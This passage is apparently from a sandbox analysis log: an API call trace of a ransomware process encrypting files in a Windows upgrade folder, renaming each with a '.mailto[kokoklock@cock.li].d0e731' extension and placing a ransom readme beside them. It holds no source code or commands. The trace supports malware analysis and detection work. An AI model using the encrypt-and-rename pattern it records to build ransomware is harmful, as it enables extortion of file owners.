(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478940) returned 1 [0075.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.932] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d63f788, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d63f788*=0x4096, lpOverlapped=0x0) returned 1 [0075.933] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.933] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xda3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.933] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478918*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d63f7c0, lpOverlapped=0x0 | out: lpBuffer=0x3478918*, lpNumberOfBytesWritten=0x1d63f7c0*=0x20, lpOverlapped=0x0) returned 1 [0075.933] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478918) returned 1 [0075.933] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.933] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d63f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d63f7d4*=0x8, lpOverlapped=0x0) returned 1 [0075.933] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d63f7ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d63f7d4, lpOverlapped=0x0 | out: lpBuffer=0x1d63f7ec*, lpNumberOfBytesWritten=0x1d63f7d4*=0x4, lpOverlapped=0x0) returned 1 [0075.933] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d63f7d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d63f7d4*=0x4, lpOverlapped=0x0) returned 1 [0075.933] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d63f7d4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d63f7d4*=0x6c, lpOverlapped=0x0) returned 1 [0075.933] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d63f7d4, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d63f7d4*=0x20, lpOverlapped=0x0) returned 1 [0075.933] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d63f7d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d63f7d4*=0x4, lpOverlapped=0x0) returned 1 [0075.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788f0) returned 1 [0075.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.934] CloseHandle (hObject=0x9e8) returned 1 [0075.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f10f0 [0075.934] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" [0075.934] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731" [0075.934] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.934] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0075.935] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm", dwFileAttributes=0x20) returned 0 [0075.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dee0 [0075.935] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.935] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.935] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e490) returned 1 [0075.935] RtlExitUserThread (Status=0x1) Thread: id = 786 os_tid = 0x137c [0075.930] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css")) returned 0x20 [0075.936] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css", dwFileAttributes=0x20) returned 1 [0075.936] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.937] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d6bf99c | out: lpFileSize=0x1d6bf99c*=5224) returned 1 [0075.937] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.937] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d6bf970, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d6bf96c, lpOverlapped=0x0 | out: lpBuffer=0x1d6bf970*, lpNumberOfBytesRead=0x1d6bf96c*=0x4, lpOverlapped=0x0) returned 1 [0075.939] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788f0 [0075.939] NtQuerySystemTime (in: CurrentTime=0x1d6bf948 | out: CurrentTime=0x1d6bf948*=132121176338315218) returned 0x0 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x124f0b61 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xce890aff [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x4e18948 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xcf0c61a2 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x1d1fa0aa [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x5d5eb947 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x242af335 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x2d445c0d [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xab8422f4 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x623fcaca [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x6527c92d [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xbba098f9 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xf2a773c5 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x5cc76fee [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x441805ed [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xea23a5ec [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x7a9c1dab [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x38896b63 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x4074c78c [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x2486423b [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xba7eca7d [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x9994722e [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x150b0fdd [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x9017d311 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x5d164ec9 [0075.939] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xafd3d20a [0075.940] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x7dfad984 [0075.940] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x6c5e2c3 [0075.940] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x25e6d53b [0075.940] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x971b54d5 [0075.940] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0xf25f2023 [0075.940] RtlRandom (in: Seed=0x1d6bf954 | out: Seed=0x1d6bf954) returned 0x52a49034 [0075.950] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1468, lpNumberOfBytesRead=0x1d6bf948, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d6bf948*=0x1468, lpOverlapped=0x0) returned 1 [0075.951] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d6bf910 | out: lpNewFilePointer=0x0) returned 1 [0075.951] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1468, lpNumberOfBytesWritten=0x1d6bf944, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d6bf944*=0x1468, lpOverlapped=0x0) returned 1 [0075.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478940 [0075.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478968 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478968) returned 1 [0075.952] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478940*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d6bf940, lpOverlapped=0x0 | out: lpBuffer=0x3478940*, lpNumberOfBytesWritten=0x1d6bf940*=0x20, lpOverlapped=0x0) returned 1 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478940) returned 1 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.952] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d6bf96c, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d6bf96c*=0x8, lpOverlapped=0x0) returned 1 [0075.952] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d6bf984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d6bf96c, lpOverlapped=0x0 | out: lpBuffer=0x1d6bf984*, lpNumberOfBytesWritten=0x1d6bf96c*=0x4, lpOverlapped=0x0) returned 1 [0075.952] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d6bf96c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d6bf96c*=0x4, lpOverlapped=0x0) returned 1 [0075.952] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d6bf96c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d6bf96c*=0x6c, lpOverlapped=0x0) returned 1 [0075.952] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d6bf96c, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d6bf96c*=0x20, lpOverlapped=0x0) returned 1 [0075.952] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d6bf96c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d6bf96c*=0x4, lpOverlapped=0x0) returned 1 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478918) returned 1 [0075.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.952] CloseHandle (hObject=0x9e8) returned 1 [0075.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f10f0 [0075.953] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" [0075.953] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731" [0075.953] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.953] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.953] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0075.953] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css", dwFileAttributes=0x20) returned 0 [0075.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dee0 [0075.954] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.954] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.954] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0075.954] RtlExitUserThread (Status=0x1) Thread: id = 787 os_tid = 0x1380 [0075.938] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm")) returned 0x20 [0075.955] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm", dwFileAttributes=0x20) returned 1 [0075.955] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.955] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d73f86c | out: lpFileSize=0x1d73f86c*=65710) returned 1 [0075.955] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x100aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.955] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d73f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d73f83c, lpOverlapped=0x0 | out: lpBuffer=0x1d73f840*, lpNumberOfBytesRead=0x1d73f83c*=0x4, lpOverlapped=0x0) returned 1 [0075.957] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478918 [0075.957] NtQuerySystemTime (in: CurrentTime=0x1d73f818 | out: CurrentTime=0x1d73f818*=132121176338471504) returned 0x0 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x4e9830f6 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x326f327a [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x25ff9789 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xbcba32cc [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x2ba50604 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xa9e92fdb [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x710c4326 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xf8de442 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x4bba9a1e [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xa1db88b1 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xa72e1ffd [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x6e8f6df1 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x1334896d [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xfc2641e2 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x83b6c5b7 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x28fb8ca6 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x209a5d16 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x4d64f04e [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x4f96873 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xa591df0c [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x24602b78 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xa0b1daa1 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x284853d4 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xeadcabac [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xb4f5d8ee [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x35e6cd33 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xd5c012a4 [0075.957] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x4de1048a [0075.958] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x1802382b [0075.958] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0xc73c8ab9 [0075.958] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x9539b52b [0075.958] RtlRandom (in: Seed=0x1d73f824 | out: Seed=0x1d73f824) returned 0x64d027bc [0075.969] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.969] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d73f7f0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d73f7f0*=0x4096, lpOverlapped=0x0) returned 1 [0075.970] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0075.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0075.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478968 [0075.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478990 [0075.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478990) returned 1 [0075.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.971] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d73f7f0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d73f7f0*=0x4096, lpOverlapped=0x0) returned 1 [0075.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.971] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x100ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.972] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478968*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d73f828, lpOverlapped=0x0 | out: lpBuffer=0x3478968*, lpNumberOfBytesWritten=0x1d73f828*=0x20, lpOverlapped=0x0) returned 1 [0075.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478968) returned 1 [0075.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.972] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d73f83c, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d73f83c*=0x8, lpOverlapped=0x0) returned 1 [0075.972] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d73f854*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d73f83c, lpOverlapped=0x0 | out: lpBuffer=0x1d73f854*, lpNumberOfBytesWritten=0x1d73f83c*=0x4, lpOverlapped=0x0) returned 1 [0075.972] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d73f83c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d73f83c*=0x4, lpOverlapped=0x0) returned 1 [0075.972] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d73f83c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d73f83c*=0x6c, lpOverlapped=0x0) returned 1 [0075.972] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d73f83c, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d73f83c*=0x20, lpOverlapped=0x0) returned 1 [0075.972] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d73f83c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d73f83c*=0x4, lpOverlapped=0x0) returned 1 [0075.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478940) returned 1 [0075.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.972] CloseHandle (hObject=0x9e8) returned 1 [0075.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f10f0 [0075.972] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" [0075.972] wcscat (in: _Dest=0x33f10f0, 